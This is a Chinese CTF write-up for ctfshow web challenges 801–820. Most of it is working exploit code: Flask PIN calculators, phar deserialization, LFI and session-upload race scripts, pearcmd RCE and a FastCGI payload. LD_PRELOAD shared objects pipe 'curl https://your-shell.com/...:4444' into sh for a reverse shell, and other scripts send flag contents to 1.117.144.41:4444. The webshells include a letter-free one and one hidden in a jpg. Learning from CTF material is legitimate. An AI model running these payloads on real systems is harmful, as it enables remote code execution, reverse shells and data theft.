ctfshow常用姿势

[ctfshow]常用姿势

简介

一些近两年来比赛中常用到的姿势

web801 flask算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
return "Welcome to ctfshow file download system, use /file?filename= to download file,my debug mode is enable."

@app.route("/file")
def file():
filename = request.args.get('filename')
with open(filename, 'r') as f:
return f.read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)

读相关文件算pin码即可,记录一下可行的脚本

md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username=getpass.getuser()
app = Flask(__name__)
modname=getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)

probably_public_bits = [
username, #用户名 一般为root或者读下/etc/passwd
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
getattr(mod, "__file__", None), #flask库下app.py的绝对路径,可以通过报错信息得到
]
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,
"机器码"
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

sha1:py38适用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
username, #用户名
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"机器码"
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

需要填的值就一个变化的地方—机器码。旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值

web802 无字母数字webshell

1
("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"^"%60%60%60%20%60%60%60%60%2e%60%60%60");

直接构造异或拼接,其他方式有很多很多

web803 phar

生成phar:

1
2
3
4
5
6
7
8
9
10
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "<?php eval(\$_POST[1]);"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

上传&getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

data1 = {
'file':'/tmp/1.phar',
'content':open('./1.phar','rb').read()
}

data2 = {
'file':'phar:///tmp/1.phar/test',
'content':'1',
'1':"echo system('tac f*');"
}

url = "http://8dff98b5-c424-42b0-80f2-8cd67b9d0866.challenge.ctf.show/index.php"

r1 = requests.post(url=url,data=data1)
print(r1.text)
time.sleep(1)

r2 = requests.post(url=url,data=data2)
print(r2.text)

web805 反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class hacker{
public $code = "echo system('cat f*');";
}



$o = new hacker();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "<?php eval(\$_POST[1]);"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

data1 = {
'file':'/tmp/1.phar',
'content':open('./1.phar','rb').read()
}

data2 = {
'file':'phar:///tmp/1.phar/test',
'content':'1',
}

url = "http://f41ee967-9ea2-44a4-a865-34628612de63.challenge.ctf.show/index.php"

r1 = requests.post(url=url,data=data1)
print(r1.text)
time.sleep(1)

r2 = requests.post(url=url,data=data2)
print(r2.text)

web804 绕过open_base_dir

写入1,然后直接下载即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../ctfshowflag","1");
unlink("SD");
mkdir("SD");

web806 php无参rce

1
2
/?code=eval(array_pop(next(get_defined_vars())));
post直接可以rce

web807 反弹shell

群主的网站,只要curl就能弹shell:https://your-shell.com/

这道题貌似只能curl

web808 php7.0 Segfault LFI or php session LFI

解法1:

php线程崩溃导致临时文件被保存

1
2
3
4
5
6
7
8
9
10
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
include $file;
}else{
show_source(__FILE__);
print_r(scandir("/tmp"));
}

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re
url = "http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/"
file={
'file':'<?php system("cat /*");?>'
}
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)

tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)

核心是?file=php://filter/string.strip_tags/resource=/etc/passwd会让php的线程崩溃

解法2:

包含session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading

session=requests.session()
sess='flag'
url1="http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/"
url2='http://13d3ac5b-6c38-41c9-9364-ada319d284d3.challenge.ctf.show/?file=/tmp/sess_flag'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'echo 11123;system("cat /f*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)

if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()

web809 pear文件包含/RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
include $file;
}else{
show_source(__FILE__);
if(isset($_GET['info'])){
phpinfo();
}
}

可以看p牛的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

1
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system('cat /f*');?>+/tmp/hello.php
1
2
3
4
5
6
7
8
9
10
GET /?file=/usr/local/lib/php/pearcmd.php&+config-create+/?><?=eval($_POST[1]);?>+/tmp/1.txt HTTP/1.1
Host: e38c9852-ecd9-442b-984d-3b773381fc5a.challenge.ctf.show
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

web810 SSRF打PHP-FPM

用gopherus生成payload打就行

image.png

后面的%00需要url编码

web811 file_put_contents打PHP-FPM

1
2
3
4
5
6
7
8
9
error_reporting(0);
highlight_file(__FILE__);


$file = $_GET['file'];
$content = $_GET['content'];

file_put_contents($file, $content);

可以通过搭建恶意ftp服务器攻击9000端口的php-fpm

1
file=ftp://aaa@1.117.144.41:23/123&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27curl%20http%3A//1.117.144.41%3A4444/%60cat%20/f%2A%60/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

开恶意ftp服务器然后打就行

web812 PHP-FPM未授权

https://github.com/wuyunfeng/Python-FastCGI-Client

1
python exp.py -c '<?php system("cat /f*");?>' -p 28026 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813 劫持mysqli.so

同样是开了FASTCGI,但是这道题本意让我们用恶意so拓展打

题目满足条件:

  1. extension目录已知且可写
  2. 命令行或fpm能够加载恶意拓展文件
  3. 有调用自定义函数

所以主要是考察编写php的拓展so文件从而达到劫持

这里用ext_skel框架开发扩展

https://www.php.net/releases/下载相应版本源码包

1
php ext_skel.php --ext ctfshow --std

image.png

image.png

然后编译

1
2
3
phpize
./configure --with-php-config=/www/server/php/73/bin/php-config
make && make install

接着把生成的恶意so文件传到目标服务器的extension目录即可

这里自己尝试的时候的坑:

  1. 如果用例如宝塔安装的php,要指定他的php-config文件
  2. php-config要和你下载源码,也就是想重写的so文件的php版本一样,否则不能成功
  3. 一定要让目标重新把我们恶意的so扩展加载之后才能打

web814 LD_PRELOAD

getuid

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("curl https://your-shell.com/1.117.144.41:4444 | sh");
}
int getuid()
{
if(getenv("LD_PRELOAD")==NULL){ return 0;}
unsetenv("LD_PRELOAD");
payload();
}
1
gcc -c -fPIC poc.c -o hack&&gcc --share hack -o hack.so

web815 劫持构造器

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
unsetenv("LD_PRELOAD");
system("curl https://your-shell.com/1.117.144.41:4444 | sh");
}

web816 临时文件利用

1
2
3
4
5
6
7
$env = $_GET['env'];
if(isset($env)){
putenv($env.scandir("/tmp")[2]);
system("echo ctfshow");
}else{
highlight_file(__FILE__);
}

往tmp目录下面传临时文件,把LD_PRELOAD指向临时文件

1
2
3
4
5
6
7
8
import requests

url="http://da7e9cb2-9fd2-4b66-a4d3-a46b3927d67f.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)
response=requests.post(url,files=files)
html = response.text
print(html)

web817 nginx缓存临时文件

1
2
3
4
5
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));

}

由于我是先做的818,所以这里是818之后,仿照羽师傅的脚本自己写的,思路也就是nginx缓存,然后去包含/proc/fid/fd/{fd}下的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
import re
import threading

port = 28144
s = socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1
Connection: close

'''.encode())
rev=s.recv(1024).decode()
s.close()
pid = re.findall("(.*?)www-data",rev)[0].strip()
print(pid)

con = "curl http://1.117.144.41:4444/`cat /*`;" + "5" * 1024 * 500

def upload():
while True:
s = socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
l = len(con)
x = f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close

{con}'''.encode()
s.send(x)
s.close()

def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: fuckyou
Connection: close

'''.encode())
print(s.recv(2048).decode())
s.close()

for i in range(30):
t = threading.Thread(target=upload)
t.start()
for f in range(30):
a = threading.Thread(target=bruter)
a.start()

web818 nginx body缓存写入临时文件

原理略,整理在另一篇笔记

直接学习羽师傅脚本即可,他这里是用socket库来进行网络请求的。

关键点是31行的恶意字节填充,让hack.so的文件内容写入nginx产生的临时文件

接着用bruter函数对proc目录进行一个爆破即可,这里的pid题目中会给到,所以只用爆破后面的fd即可

羽师傅的脚本真的清晰,学习了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# coding: utf-8

import threading
import socket
import re

port= 28118
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('../hack.so','rb').read()+b'\n'*1024*200)).encode()

def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('../hack.so','rb').read()+b'\n'*1024*200+b'''

'''
s.send(x)
s.close()

def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
print(s.recv(2048).decode())
s.close()


for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()


web819 环境变量注入

1
2
3
4
5
6
7
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("whoami");
}else{
highlight_file(__FILE__);
}
1
?env=BASH_FUNC_whoami%%=() { cat /f*; }

参照p牛的文章

web820 奇怪的jpg型webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);

if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}
}else{
highlight_file(__FILE__);
}

主要是base64_decode这个函数在解码的时候仅保留26+26+2+10,也就是base64里的64个有效字符,其他字符会丢弃

因此可以构造一个jpg,解码后是个webshell

可以用010对一个1*1像素的图片构造

image.png